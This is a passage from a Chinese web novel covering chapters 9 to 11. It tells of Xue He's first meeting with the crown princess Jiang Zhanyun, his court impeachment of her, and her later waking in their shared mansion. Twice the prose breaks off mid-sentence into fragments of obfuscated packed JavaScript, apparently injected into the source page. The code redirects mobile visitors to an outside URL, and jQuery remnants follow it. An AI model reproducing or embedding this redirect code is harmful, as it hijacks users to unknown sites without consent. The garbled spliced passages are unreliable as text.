“我们不住这?”桑桑有些迟疑地给她掖好披风,系带时也不够利索,悄声道,“大人没说这披风给您……”唯恐主上又自作主张被罚。 毕竟这会江瞻云气息还没喘匀,脸色依旧苍白如纸。 “女式样,又是这般年轻的款式,这府中不是给我还能给谁?阿兄体贴,专门为我夜半迁居准备的。” “放心,这会儿不会罚我,除非不想让我活了。对吗,阿兄?” “阿兄——”江瞻云抬手在薛壑眼前晃了下。 薛壑回神,上下打量了她一番,点了点头。 简陋屋子、侍女绣月、披风御寒,确实都是他一手备下的。 他自两年前将她从香悦坊赎出,送回益州着人教导,每三月收到的信上都是赞她聪慧机敏。为此他加了课程,派人给她梳理长安皇城的事宜,宫中规矩等等,她都一学即成。 今日一番考验,亦是满意非凡。 如此送入宫中,但愿事成之后,能保她一条性命。 “不骄不馁才好。宫中不比府里,你最好时刻警惕,保持这般识人的能力。”薛壑理正神思,话落扣了两下桌案,一边让亲卫处理这处,一边让掌事送江瞻云去北阙甲第的府邸。 江瞻轻哼了声,冲他福了福,裹着厚厚的齐地披风,长眉一挑从他身侧离开。 烛火还在晃荡,薛壑莫名僵在案前,片刻抬眸见逐渐湮灭于黑夜中的一袭背影。明明虚弱地要人搀扶,但无端让他觉得她步步生风,身姿亭亭,一腔子意气风发。 薛壑捏着眉心灌了盏凉茶,告诫自己也该早些休息养足精神以赴来日险程,遂起身回了自己院子。 然这晚,他许久不曾入睡,闭眼睁眼都是那副模糊的轮廓。 轮廓慢慢清晰,他看见她披风涌动,长眉挑起,融入早春二月的苍茫夜色里。 是江瞻云。 他又梦到了江瞻云。 意外地,不是一截残臂,不是破烂的衣袖,不是隔帘隐约的身影,是她完整的样子。 他看清了她的样子。 那是十年前,他们初见时。 9.第009章 少年事1 十年前。 承华廿八年早春。 长安城的积雪还未消融,难得的一个晴天,但因化雪之故,比落雪时更冷。所幸前两日乃二月二春耕节,皇太女代帝至城外五十里处的东郊举行,这道路才清过。人马在东道往来,出入宣平门,一路好走许多。 官道上,十余骑疾驰,夕阳被他们抛在身后,转眼就要落下天际。前方拐道后,远远见得层林从中露出一角飞檐。待几下鞭子抽过,马蹄急跃,日光黯淡,又见得飞檐之上黄绢飘晃,在光秃尚未抽芽的柳树林中,十分亮眼。 “那处就是枳道亭吧” “是枳道亭。还是公子料事如神,这路能骑快马,总算没有延误时辰。” “这一路风雪阻程,纵是延后几日,陛下也不会为难。” “非也,七日前我们于半道驿馆估算行程,飞马递呈抵城时辰乃今日 ,宫中回讯知晓,后再无联系。如此今日便是约好的日子,除非我们再报路况,或是天家格外传讯。否则当准时到期。” “的确如此,陛下礼遇益州,但我们不可自恃恩宠。” 左右亲卫话落,一行人更是催马前行。 尘土四起,风声呼啸。 长安城宣平门外十三里处的枳道亭是长安东郊重要交通节点,也是官方迎送场所。重要官吏外任或者入京述职、番邦使者出入、商旅东行等均会在此举行仪式。 又是一阵快马加鞭,枳道亭露出大半身形。 朱檐六角飞翘,檐上裹黄绢镶红绸,檐下挂帘垂幔。 晚风吹拂,帘幔卷起,现出亭中陈设,半丈高的桂枝铜灯台上插着红烛,一排羊角灯在檐间晃荡,天光未歇尚未点火。但还是能见得亭中席案高设,取暖的铜炉置在中央。 “果然,亭中已经设好席案。我们快行,莫让天家久候。 ” “待到亭中,公子理妆更衣,再换车驾,便可缓缓。待面圣时不至于失礼。” “可是我们车驾没跟上来,我去催他们快些。” “无妨无妨,席案都设了,还怕不备马车吗?” “我闻乃殿下来迎,殿下是女郎,多半会备车辇。” “一定是车辇,稍后殿下与公子共辇入城。” 亲卫们你一言我一语,贴身的唐飞和薛允时不时望向少年人,见他面目虽显疲态但比初出益州时要柔和不少,眼中也多出了两分期待。两人彼此对视而过,心中安定许多。 他俩一个陪着薛壑长大,一个是他叔父但就比他大了六七岁,原都知晓他心思。 薛壑打小的志向,是同他父辈般横刀立马,驰骋沙场。不求建功立业,但求边地自在,马驰草原,鹰击翔空。 虽说益州薛氏同天家江氏的盟约早早定下,但族中子弟除了尚主靖明女帝的晟华皇夫,还不曾有其他人尚主过。更应隆麒皇太女之故,男儿重掌天下,那道“大魏若出女帝,薛氏子必尚主”的约定在世人眼中基本作废。因为难以想象,这天下还会再出女君。曾经的两位是流星过天,女子短暂的辉煌。 便是薛氏一族,也是这般认为的。又值承华帝征讨匈奴近二十年,于是薛壑的父辈几乎全部的心思都在练兵作战、保家卫国上。 待到薛壑出生,正值最后一次征伐匈奴,薛家军挂帅,历四年,匈奴雄鹰折翅,王庭隐迹漠北,大魏国中安宁。他作为正支嫡出子嗣,虽一直有名士大儒时时进出书斋教导他课业,益州属臣隔三差五为他分析长安时政,但他更多的时间和精力还是投在了军营中,摸弓长大,马背观世。族中尊长,家中父老总结经验,倾囊相授,原都将他当作薛家军少帅培养。 长大到十三岁时,他已经正式跟随父亲巡防益州以南的部落,戍守南地。这年夏末所领巡防营在边境上发现欲要犯境的羌族小股部队,以二十战百的战绩阻敌于边地,初露锋芒。亦是同年年底,长安的诏书传到益州,择他尚主宣宏皇太女,同时任命担任八百石侍御史一职,于两年后十五岁赴长安出仕。 侍御史乃御史大夫座下官吏。 御史大夫其下官职分五等,御史中丞一人,长史两人,侍御史四人,监察御史八人,御史郎若干。 天子择此不高不低的侍御史一职实乃恰到好处,一来可避免他因年少官职太高而不服众的局面,二来又照顾了益州薛氏的颜面。 十三岁的少年,没能过好这个除夕。 原本在前一年闻天子立七公主为皇太女的时候,益州自起波澜。但正支子弟非他一人,同受大儒教导的堂兄弟便有四五人。他的文才亦非最出众,所长乃治军之道,且族中多将他当继承人培养,他便不曾想到会轮到自己。 却不想,天子挑来择去,到底还是选中了他。 他不愿入京述职,不愿做皇太女的驸马。 八百石侍御史,一千二百石御史长史,两千石御史中丞,一万石御史大夫,一眼看得到头的前程,官拜三公,爵封侯位,无需太久,至多在他而立之时,便是他位极人臣之日。光鲜亮丽,烈火烹油,当是常人难以企及的一生。但却不是他想要的,因为此间种种没有一样会是因为他之才,他之能,他之努力,全都只因他有一个为储君的妻子,只为能配上她,方冠以他这些。 他的人生将再也没有属于他自己的意义。 他问母亲,为何会这样? 他问父亲,可不可以拒绝这门亲事? 母亲说,“自立太女,天家便已开始择选,我们也以为你小小年纪巡防一战立了功绩,陛下会因此留你在益州接管兵甲,不想……不想却让声名累你。陛下当是闻你名下了决心。” 父亲说,“不可以拒绝。从今往后,宣宏皇太女便是你一生最大的意义。” 冬去春来,皇城派来的中贵人教导他宫廷礼仪。 入伏出秋,三公之一的御史大夫申屠临亲来益州教授他一国法典。 雪尽春又回,尚书令温松以迎亲使身份来此接他入长安。 他在诸官间闻得他未来的妻子是个聪慧、美丽、略微调皮、稍显任性的女郎。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092502|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 益州官道上,父亲叮嘱,“殿下是君,你是臣,要谨记君臣之礼,谨记你的身份。” 母亲笑道,“闻来比你阿姊好相处多了。你阿姊的脾气你都受得住,还怕甚? ” 骏马遏蹄,苍鹰收翅。 他本是不甘隐忍,但听得长安来的官员评价那个女子,多来是好相处的;又思父亲所言,女郎艰难,他此行更有辅佐添势之意;更因临近长安一路,闻太女年十三代帝主持亲耕节,为百姓赞誉,心中平添好感;而半里外愈发清晰的枳道亭面貌映入眼帘,他便也慢慢接受了命运安排。 储君盛礼相迎,他更当恭敬谦卑,礼仪周全。 这般想着,又一记马鞭扬起,呵驾急行。 夕阳就剩最后一抹,比弦月还窄,虚虚挂在天际,十分寥落。 寥落的晚霞余晖中,枳道亭现出寥落的全貌。 檐上是残破的红绸挂瓦,半截黄绢风中晃荡;檐间的羊角灯掉了两盏在石阶,歪了一盏勾在树梢头;桂枝铜灯盏上的红烛早已燃尽,前头看到的红色是凝固在烛台的灯油;铜炉中没存半点新炭,只有炭灰被风四下吹散……枳道亭没有一个人,荒凉似城外孤坟。 此间种种不过是前些日子,皇太女主持亲耕节,官员专门为其在此设立的休憩地。 还未来得及收拾干净。 是他们误会了。 夕阳敛起最后一道光,料峭晚风吹人紧。 少年立在亭中,摸过案上尘灰,接来亲卫递上的火折子,借一点微弱灯光西望长安城。 “哎,我就说这时辰踩得太紧,还不如歇在扶风郡,明日定定心心过来!温尚书都说无碍的。” “莫说这话了,想想眼下如何是好?” “距离城中闭门宵禁还有小半个时辰。此去宣平门十三里,要不我们直接进城。快马加鞭当还来得及!” “或者我们往回走,方才来时瞧见了,城郊处有客栈,先将就一晚。正好也可以等上车驾,左右温尚书还在后头!” 亲卫们抑着怒意,低声讨论,商量出两个相对稳妥个法子。 文书所言皇太女亲迎。 君恩深重、君臣情意交好,自是储君提前来此等候,此为第一等;但若只是循礼而情意平平,倒也不是非要储君先来,毕竟君贵臣轻,寻常都是派一位一千石左右的官员来此等候,待人到后,再传讯储君,如此一同入城,此为第二等;还有末等,便是官员代君迎接。 如今这幅局面,皇太女简直将益州颜面踩在脚底。 “太女年少,前些日子又代帝出行,许是玉体娇弱染恙,误了此行也是有的。”薛允看着逐渐落下的夜幕,心道所幸四下无人,尚能将此事包住,禀着尽力维护天家和益州的关系道,“十三郎,两个去处你怎么看?” 少年手中火光已灭,身形隐在夜色中,看不清他面容神色。 只有风过,拂起他尘土斑驳的披风边沿,涌动如潮。 “等。”半晌,他吐出一个冰冷的字。 10.第010章 少年事2 这一等,便等到城中三通鼓、月上柳梢头。 “罢了,这会城门彻底关了,我们去客栈。”枳道亭四下点了火把采光,薛允拍了拍少年臂膀,“听话。” 少年僵立不动身。 “十三郎!” 薛允有些生气,归根结底气的也不是自家孩子。 但臣下同君上置气,能得几时好? 他长叹了一声,正欲开口劝慰,忽闻一阵马蹄从西边官道疾奔而来。 诸人拾阶入亭,举目眺望。 一眼便识出共二十五骑,除却中间一人外个个手擎火把。三人开道,剩余分作左中右三路护卫,正往枳道亭赶来。 近了,方看清兵着玄甲衣,足踏羊皮靴;马披玄甲鞍,四蹄套铁掌。玄甲羊皮,人马同袍,乃禁军中的三千卫。 为首一人打马上前,示东宫令,亮明身份。 “来者可是益州侯之子,薛御史?”言语间,左右两骑已经迅速占据他的位置挡护身后之人。 “是臣,益州薛壑。”少年立在亭中,示意薛允奉上文书。 待验过,首领归还文书,退马让道;后两骑左右分开,让出主位。 中间有马黄金鞍,马上人身姿挺拔,背脊笔直,只是在一众跨坐高头大马的禁卫军中尤显身形瘦小,一截投在地上的影子狭长如线。 人马从中路缓缓出,地上黑影随动,四下里禁军静声避开,不敢踩踏影子半分;又紧紧护守,控着边缘界限。 “薛壑?”一个少女的声音在夜空响起。 夜风拂面,吹动她云纹玄金的缎面披风,玄色与夜色融在一起,衬得金丝绣线泛出淡淡一层冷光。少女披袍遮面,风帽压得极低,仅露出一双凤目,亮可慑人。 “臣薛壑,拜见殿下,殿下千岁千岁千岁岁。” 少年从亭中出,领诸人行跪拜大礼。 “不必多礼,起来。”江瞻云下马扶人,从披风中伸出一只雪白的手。 “谢殿下。”君者虚扶之礼,薛壑自然不会搭上,只从命起身。 “……夜深天寒,入城吧。”似话烫嘴,女郎少了两分先前的威压,说得飞快,长眉挑过,“北阙甲第的府邸已经备好。” 她矮少年半个头,但天家公主的眼睛长在头顶,储君的头更不可能低下。说话间已经重回马背,匆匆返身回城。 只将方才的首领留给薛壑引路。 薛壑跪送,片刻后起身上马。 初见,他根本没看清少女模样,只有后来萦绕一夜的那一扬眉,那一袭从他身前飘过、在风中涌动的披风,和湮灭在夜色中的傲慢身影。 误了时辰,半句解释也没有。不仅没有,还极尽敷衍。 北阙甲第的府邸里,膳食蔫吧软烂,入口便知约莫是从哪处宫殿临时分拨而来、回炉翻热的;席案面上蹭亮没有落灰,却是残留的水渍未干;寝殿床榻阴冷,地龙在后半夜才开始生热……但凡这晚薛壑睡着了,或许都不可能有后头事。 但年少,最是骄傲受不得委屈时。 辗转反侧,屋中博望炉中“荜拨”一声脆响,未曾调和的香料弥漫出极其浓烈的芳香,呛人口鼻,刺激神经。 少年从榻上弹起,捧了一盏烛火至案前,翻卷研墨,奋笔疾书…… 夜风寒凉,烛火幽幽,天微微亮。 十年后,薛壑在床榻睁开双眼,看书案笔墨,看曾经的自己,回想梦中事。 最清晰的竟是那句被忽略多年的话:……夜深风寒,入城吧。 往后年年岁岁,她都鲜少同他说过这样家常又温情的话。 她是在道歉,对不对? 薛壑重新阖了眼,嘴角浮起一抹自嘲的笑。 她那样的人,怎么可能道歉! 他一点也不信。 薛壑再次进入梦乡,续上了那个梦。 年少意气重,天亮的时候,十五岁的儿郎换朱袍、戴法冠,携卷持笏上朝。以侍御史的身份在未央宫前殿弹劾了当朝皇太女。 那是薛允来不及开解、天子来不及安抚的速度,南地而来的少年在中贵人一声“有事起奏、无事退朝”的声响后,施施然从队列中出来。 “臣有事要奏。” 八百石是参与朝会的最低品阶,只能站在殿外。以至于他执笏出列,天子都不知其人是谁。好在他身上官袍特殊,尚能看出是御史台的人。 大魏官员的袍服被称为“四时服”,即皇官四彩,冠帽有别(1)。乃根据春夏秋冬四个季节,穿戴不同颜色的官袍:春穿青,夏穿赤,秋穿白,冬穿黑。天子袍服亦是这般。从而体现对农耕的重视和对自然的尊重。而此间唯一的特殊之处,便是御史台官员的袍服,乃不分四季,永远是朱红一色,官帽则为獬豸冠。取獬豸象征明察秋毫之意,如此彰显执法者的威严与公正。 承华帝就是在这茫茫青色间,看见了红彤彤的一片,于是将眼神投向了执掌御史台的御史大夫申屠临。 草春二月昼短夜长,朝会初始天灰蒙蒙还未亮透,申屠临哪里能想得到这夜半入京、还未到官署报道、便先上了一场早朝语不惊人死不休的少年会同他有关系! 但定睛看去,这袍,这冠,这朗朗言辞确实是他御史台官员的穿戴和作风。 但这人—— 不惑之年的御使大夫还没有耳眼昏花、记忆衰退,很快从声音中辨清了来人身份,在再次确定后,心中堪比惊涛骇浪一阵掀过一阵,惊了又惊。 惊他敬业至此,马不停蹄上朝;惊他虎胆雄心,出仕第一日就要弹劾君上;惊他新官上任三把火,第一把就烧向了当朝储君。 待得回神,少年已经将要启之事奏请完毕。 【侍御史臣薛壑,谨奉表以闻陛下: 近日益州薛氏奉皇命入京,陛下特命太女于昨日申时在枳道亭迎候,以示皇恩浩荡。 然昨日申时四刻,益州臣属抵达枳道亭,按仪立于亭中。太女却迟至戌时末方出现,延误两个时辰有余。其间诸臣露天等候,又因鸿胪寺下值,城门关,进退两难。及太女出,未致歉,只言“府邸已备”,即走。益州臣属,本是陛下之臣,一家之亲。陛下礼遇厚爱,令以接待邦使之礼迎之。 故臣窃以为,太女此举,有四罪当劾: 其一,慢待来使,损帝国之威。 若此来真为各属国使者,或控弦数万,或镇守边地,皆我朝之屏障也。《周礼》有云:“大行人掌大宾之礼,以亲诸侯”。礼者,国之干也。太女身为储君,言行皆系国体。延误时辰而无歉意,则视邦交为轻,损我大魏之国威也。 其二,轻慢君命,失储君之仪。 陛下亲定接待时刻,盖因其时乃吉。太女既领命,当夙兴整饬,准时以候。若染恙有疾,或临事突发,当早禀陛下另择他日或择他人以代,早制备用之方案矣,而非令使久候。此非身恙亦非事突,实乃心慢,是轻君命而废仪节也。 臣忝任侍御史,职在察举不法、匡正朝纲,以正人君。见太女有亏储君之德,不敢不奏。故伏请陛下:一令太女禁足殿中三月,奏表自陈延误之由,明辨是非,反省己身;二敕令东宫整肃仪规,须刻时督查,不可再误。】 少年一席话,层次清晰,理据依存,久久回荡在大殿之上,满朝文武一时禁声,片刻方辨出南北。 这—— 是益州薛氏子。 是未来东宫驸马。 是当下的侍御史。 侍御史弹劾了皇太女。 弹劾她,没去接他。 薛家儿郎真真好胆识! 殿中依旧沉寂,只有天子略带不满的眼神扫向左首位上与他同为南面升坐、但低他一个台阶的少女。 四只眼睛隔着两道珠帘,彼此看不清对方神色,江瞻云将头歪过一点点,瞥见天子端肃面容,又听一声轻咳,便知是动了怒、要她自个收场。当下打了个激灵,回身坐正。 她的确抗拒这场婚约,虽说她交友广,玩伴多,却也都是她自个用心挑选的。这突然就塞给她一个素不相识的人,和她说以后日日夜夜都要两人相伴左右,她如何接受得了!直待天子讲明局势,说是给她添势之用,但她哼哼唧唧仍旧不甘不愿。上林苑那些都不行,那温氏总不差吧,权势也不小,温颐师兄就很好,常日哄她,事事顺她。 她挺喜欢他的。 但父皇说,不可以,她的驸马只能是薛氏儿郎。 若不择薛氏子,她择谁他便赐死谁。 但若选了薛氏子,她喜欢谁依旧还可以收入殿中。 这买卖是人都能算清,小公主用力哼了声,算是应了。 事后便不曾放在心上,将这事交给了东宫属臣。数日前接到他们途中讯息,她也没有多问,只让人代她前往,一心扑在亲耕节。 亲耕节是她上位三年头一次主持的盛大节日,全程办得利落又漂亮。父皇赞她,恩赏她。她总算换来了可回上林苑开宴的恩许,同齐尚一行玩乐了两日。 结果她尚且记得薛壑这档子事,知晓晚则今明两日,即便她没有去迎他,也得在宫中宴请他,遂于昨日午后归来。结果领这差事的官员有样学样,将这事交给下属去办,下属又谴下属……待查到负责此事的五百石官吏,那人道是有所准备,但也不知是传错了还是记岔了时辰,总之压根没人迎候。彼时已经接近宫门下钥,城中宵禁。 “他们办事不利,扔去廷尉处便可。但殿下也不是完全没有责任,甚至说主责在您,他们原都是瞧您态度,看人下菜。”身为卫尉的庐江长公主将她训了一通,转而又道,“眼下局面,且推脱您染恙,臣替您去迎人。” 江瞻云难得的眉宇深皱,一把拦下长公主,“迟了这样久,还是官员代迎,且您今个还在值夜,父皇处随时会召您。罢了,孤自个去一趟吧。” 忙中生乱,她能记得给他的府邸在北阙甲第哪一排就不错了,谁能想那样细! 晨起上朝时,东宫长史将备给薛壑府邸的一应侍者名单、物品卷宗奉来给她过目,她捧着冕冠愣了一瞬,“这些都还不曾送入府中?府中无人,无膳……” 江瞻云将前后想来,将唇瓣上下咬合,将那团红影左右扫过。 有错就改,有歉就道,昨日没落下面子现在丢得更大,是她活该!但是禁足三月是要她的命吗,且想法子还个价。 思罢,正要起身,却闻温颐的声音响起,“臣以为薛御史所言凿凿,殿下确实有错,但念及殿下后来漏夜出城亲迎,也算弥补,其心已悔。禁足便罢,且稍后由殿下给益州属臣致歉,薛御史您觉得如何?” 薛壑尚在殿门之外,垂首又道,“这位大人所言殿下漏夜出城亲迎,确实不假。但这处正是臣要弹劾的第三、四重罪。” 【太女昨日晚间未循东宫仪制,仅携禁军二十四,易便服自宣平门私出皇城,赴东郊十三里外的枳道亭至戌时末方归,一路无仪仗,无先导。 臣全程目睹此事,以为太女有另二罪当劾: 其三,违祖制无律法而轻社稷。 国朝定制,东宫出行需备仪仗四百,护从甲士二百,此乃固护储君之铁律。又定制,城中三通鼓禁,城门尽闭,无天子令不得出。太女却强开门、出皇城,虽以迎人之名却是错上加错。储君动静皆法天地,当下竟视祖制如无物、律法似儿戏。 其四,疏防范而危自身。 太女漏夜出行,若遇流寇刺,宵小入,使自身生死不明,使民不定君不安,虽万死难赎。《史记》有云:千金之子坐不垂堂,百金之子不骑衡,圣主不乘危而徼幸。纵储君轻自身,然奈高堂宗庙何? 故,臣伏请陛下……】 还有完没完? 就多余走那趟! 江瞻云跽坐在案,心中暗骂,拢在袖中的手攥成拳就要一把捶地。脑中灵光闪过,一拳击地颇有动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098224|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瞧那人架势又得弹她个“君前失仪”,不禁松开拳头。 她脑子已然转起,耐着性子等薛壑把话说完。起身向天子拱了拱手,“陛下,薛御史既弹劾儿臣,那可否容臣说上几句话?” “当然,朕且听听你的解释。” 江瞻云谢恩,对着薛壑道,“薛御史,你上前入殿回话。” 薛壑作揖还礼,入殿中。 他想得很好,这回弹劾,成功了于公是给储君查漏补缺,端正其身;于私也可铩铩她锐气。若是弹劾不成,天子庇护她,那大不了剥了他这身官袍,谴他回益州,他求之不得。 于是,举手投足间可谓志得意满。 储君也绕案而出,踩丹陛走下来。 南北相对,面面而行,朱袍的少年和玄衣的少女遥遥而近。 “无妨,再上前些。”少年储君话语亲和。 原本依礼站在丹陛半丈处的少年闻令继续上前,终于最低一阶丹陛处立定跪身。 女郎站在高他一阶处,十一章程冕袍微摆,袍上日月星辰图文轻晃。 君高临下的位置,一袭阴影将他覆压。 “抬起头来。” 女郎撩开冕旒一角。 少年应声抬首。 这一抬首,便算落了下风。 能在未央宫参政的,皆非庸碌之辈。这会又作局外人,自比局中人清醒许多。 十五岁的侍御史,益州之地培养出来的人中龙凤,今日朝会也会算一鸣惊人。仅一年的御史台授业,弹劾之上便能有理有据,信手拈来,是为多智;弹劾者乃上君也,是为果敢不卑;又有十三岁以独领巡防营打退羌族的功绩,是为勇武;如此少年,当真齐聚了诸多美德。 然却有两处还缺火候。 即便天资出众也需实战累积,乃经验。 即便用心培养也需时日沉淀,乃定力。 到底年轻了些,方才洋洋洒洒、义正填膺的弹劾,怎么看都将储君驳得毫无还手之力,却因经验不足就这般落了套。 为人臣者,如何能直视君颜? 果然,抬首一眼对上少女双目,便闻她道,“薛御史,你可知冕旒之用?” 储君的冕旒少天子一柱,共十一柱,这会四柱被少女撩在手中,露出她无瑕面庞。她为君,自然可以撩帘视物。 但臣子不可观。 但偏偏薛壑正直直与她对视。 他不是没见过绝色。 他的母亲便有冠绝南地的美貌,玉钗金簪夺不去风采,素环绒花也难掩风姿;他的长姐更有巾帼不让须眉之美名,戎装飒爽胜过男儿,女装温婉似人间芙蕖。 或柔或刚,各有风华。 或浓或淡,皆可描述。 而面前人,非要细究,其实眉眼不如母亲精致,英气也没有阿姊逼人。但她冕旒摇曳,玉面一点点、一重重映入他眼眸。 温沉莹润胜过南地最好的玉。 华光流转又如深海孕育的一颗璀璨明珠。 但若她只是一方美玉,一颗珍珠,那也不足为奇。 美玉婉约,偏她头戴十一旒冠,是百年前女帝传说的延续。这样的佩戴区别于簪、钗、华胜……一切柔美之物,冠身竹编内衬透出隐约的纹理,是江的脉络,山的骨架,是象征执掌江山的权力,张扬又威严。 珍珠静谧,偏她撩起冕旒的一方面目里,明眸眨过,笑靥盛放,似从珠壁之上腾起的活力,牵动少年的心跳。告诉他,她也是一个少年。她与他微微一笑,带着狡黠和顽劣,是一个鲜活蓬勃的生命。 她婉约又威严,静谧又生动。 矛盾、极致。 他从未见过,想要好好看一看,看仔细,看清楚。 …… 这便是少了定力,一眼万年,浮想联翩。 “薛御史,你可知冕旒之用?”直到耳畔再次响起这话,刺激他的神思,他回神已经来不及。 他自然知道冕旒之用。 主以寓意“目不斜视”,提醒君主注于正道,不为邪念干扰。辅以提醒臣子不可窥视君主心思,公开场合当避面,垂首躬身,以示敬退。 “臣直面,乃殿——”话脱口却知晓多说无益,说了还不如不说。 薛壑终于垂下了眼睑,再不看她。 “薛大人是想说,乃孤让你看的,你是听主上之意对吗?”女郎这会放下冕旒,话语缓缓道,“但是孤显然说的不对,不合规矩,孤又犯错了。孤闻昔有后妃班氏,工于诗赋,文采出众,成帝爱之,邀其同乘一辇,时时相伴。然班氏道,‘观古书卷,贤圣之君皆有名臣在侧,三代末主乃有嬖女伴身,今欲同辇,得无近似之乎?’如此推却帝王之邀,后世颂为‘却辇之德’。怎么,一个后宫妇人尚敢拒绝君主,劝诫君主,薛大人堂堂御史台官员,怎就随之任之了呢?您要知道,您听之从之的这一眼,既破男女之防,又毁君臣之礼。” 冕旒后的面容,带着得意和捉弄,远山眉挑起,话语一转,问向丹陛下的御史大夫,“申屠大人,您执掌御史台,且说说,薛御史之过,要如何罚?” 江瞻云尚且站在薛壑身畔,垂下的余光瞥见他宽阔的后背并不平静,磅礴怒意扯动朱红官袍。 她便更欢了,一转身回去案前。 她走得稍快,袍服叠涌,环佩起苏,但没有发出声响,全在礼仪之内。只是刺入薛壑眼中,乃无限放大的戏弄之态,得逞之样。 怎会有这样的人? 明明只要认错改之,道歉慰之,便可少些责罚,便可相安无事。 但她根本没想给自己减罚避错,就想拉他一起共罪! 相安无事尤似笑话,两败俱伤才是她的目的。 简直令人发指! …… 这日,最后以天子参照御史大夫之意,判二人各自禁足三月收场。 年少气盛,俱是天之骄子,梁子就这样结下了。 11.第011章 江瞻云醒来时已经日上三竿。 日光晃眼,她眯着眼睛适应光亮,忽就一个挺身爬了起来。 “几时了?” “桑桑——” 她环视亮堂堂的屋子,神思慢慢回转聚拢,抬手抚面摸鬓,匆忙下榻寻找铜镜,看自己面貌。 “女郎醒了!”桑桑就在偏阁,闻声一边嘱咐侍从去备早膳,一边回来内寝。 江瞻云坐在妆台前,看镜中薛九娘的模样,人已经平静下来。 她想起来了,昨夜回来她累得半点力气全无,占枕即睡。但两个时辰前,寅时三刻那会她醒过一次,桑桑比她醒得更早些,已经悄悄备好新的皮具,正预备唤醒她帮她修补面容。 当年她在香悦坊遇见薛壑时,披的就是落英的皮。被薛壑带走后,薛壑请名医给她易容修补伤口,从薛氏族谱寻了个落末旁支,李代桃僵成了早夭的孤女薛九娘。如此便是带了两层皮具。 她自然可以正大光明在薛壑面前换皮,但落英的这层皮暂不可剥下。昨晚被药折腾半宿,汗水淋透又无法抑制抓挠,她就一直担心最里层的皮具会损伤。虽说经过多番改良,一副可撑三四个月,但这是在精心保养的前提下。是故即便疲乏至极,她也没睡踏实,早早醒了。 所幸桑桑办事周全,给她补过皮具后,让她重新入眠。 江瞻云从妆台边转身,看捧着铜盆进来、在盥洗上丝毫不假借人手的姑娘,伸手摸过侍女的脸,又侧首去她鬓边细看。 “婢子无碍,女郎放心。”桑桑躬身在她身前,也摸了摸自己的脸,顺势将她的手捧回,细细涂了胰子,放入玫瑰汁子水中养护,低声道,“这处还差不多,该是殿下下榻的地方。” 屋中陈设简单,内寝仅一张榻,榻前是博望炉;出来往左是梳妆台,对着净室;往右以屏风隔断,置一方书案,和落地的书阁,一应都是梨花木材质。 梨花木难得,寻常勋贵高门虽也多用,但这般从榻到妆台,从屏风到书案,从纳炉底座到书阁整套都是梨花木的,少之又少。且其上纹样皆是龟鹤、鸾凤一类,古朴大气,内蕴潜流,便只能是御赐之物。 江瞻云记得这套陈设,乃当初延误迎候薛壑后,父皇赐予的。为此还搭上了她的一套铜鹤烛台。 四架青铜飞鹤烛台,这会正端正摆放在廊下、内寝、左右隔间,灯火虽熄却依旧冷光凛凛。 “婢子闻这处掌事说,这东首的向煦台自十年前薛御史在此开府,便一直封着,从未开启过。近些年他出任御史大夫,索性就一直住在御史大夫府,有时忙起就直接宿在御史台,只偶然白日里才过来看一眼。这处是上月才重新打扫拾掇出来的。” 江瞻云盥洗毕,起身走出门外,看亭中草木葳蕤,冬梅未谢,春花已开。 出了向煦台,往西一路是居中的琼瑛台、西首的晚照台,绕过大片游池回廊往南走便是正堂四阁,往北以东乃膳堂,西边是花园亭台。 这座坐落在北阙甲第靠近北宫门的府邸,一堂三台六阁,规模堪比王府。 “成婚后,东宫处自然由你作主,任你迎人纳物。但外头就要少去了,想去也成,叫上驸马一道进出。晚了让人给父皇传个话,歇在北阙甲第的府里头,不许跑出城去上林苑那般远的地方,更不许随意宿在酒肆客栈中。” “还是父皇想得周到。” 府邸初时确实是单赐给薛壑的,她若想要,有的是府宅供她挑,没必要让两人挤在一起。父皇这般安排无非是看出两人不对付,想法子撮合他们。于是府邸成了二人同居之所,如此居中的琼瑛台自然是二人同榻处,剩下东西两处,东边自是储君的寝殿。可惜,那五年里江瞻云从未下榻此地,薛壑也守礼只独居西边的晚照台。 “谁要和他挤一个院子,东西再好且当便宜他了。”送他烛台时,她还十分不屑。 却未曾想过,五年又五年,十年光阴如流水,世人眼中她早已身死。 而他自她离去,也没再住进来,日日宿在府衙中。 为何不来住? 大抵是尊重她储君之身? 那作甚又让薛九娘住进来? 凭何让旁的女子住她的地方? 多置一处京中宅院,对他薛壑来说又不是什么难事! 江瞻云朝后|庭花园一处高地凉亭走去,忽就将路上一颗碎石踢开。石子很小,跨过去便可,这一下踢得唬了桑桑一跳。 桑桑观其面目,瞧出两分愠色,但又仿佛不是太生气,低头没敢多问。 江瞻云入了凉亭,俯瞰整个府邸,须臾抬眸眺望东面的未央宫。 政令前殿居中央,青瓦覆顶,金铎挂檐;禄渠双阁在北,藏书万千,浩如星瀚;沧池在南,莲生其中,水育天骄;八门五校尉往来值守,甲光生寒,执戟森森。 …… 【夜如何其?夜未央,庭燎之光。君子至止,鸾声将将。 夜如何其?夜未艾,庭燎晣晣。君子至止,鸾声哕哕。 夜如何其?夜乡晨,庭燎有辉。君子至止,言观其旂。】(1) 女郎喃喃旧诗篇。 “未央,就是‘未尽’、‘永续’的意思。今父皇择你为嗣君,把江山托你手中,便算是续上了。你也要让山河永续,千秋万载传下去……” 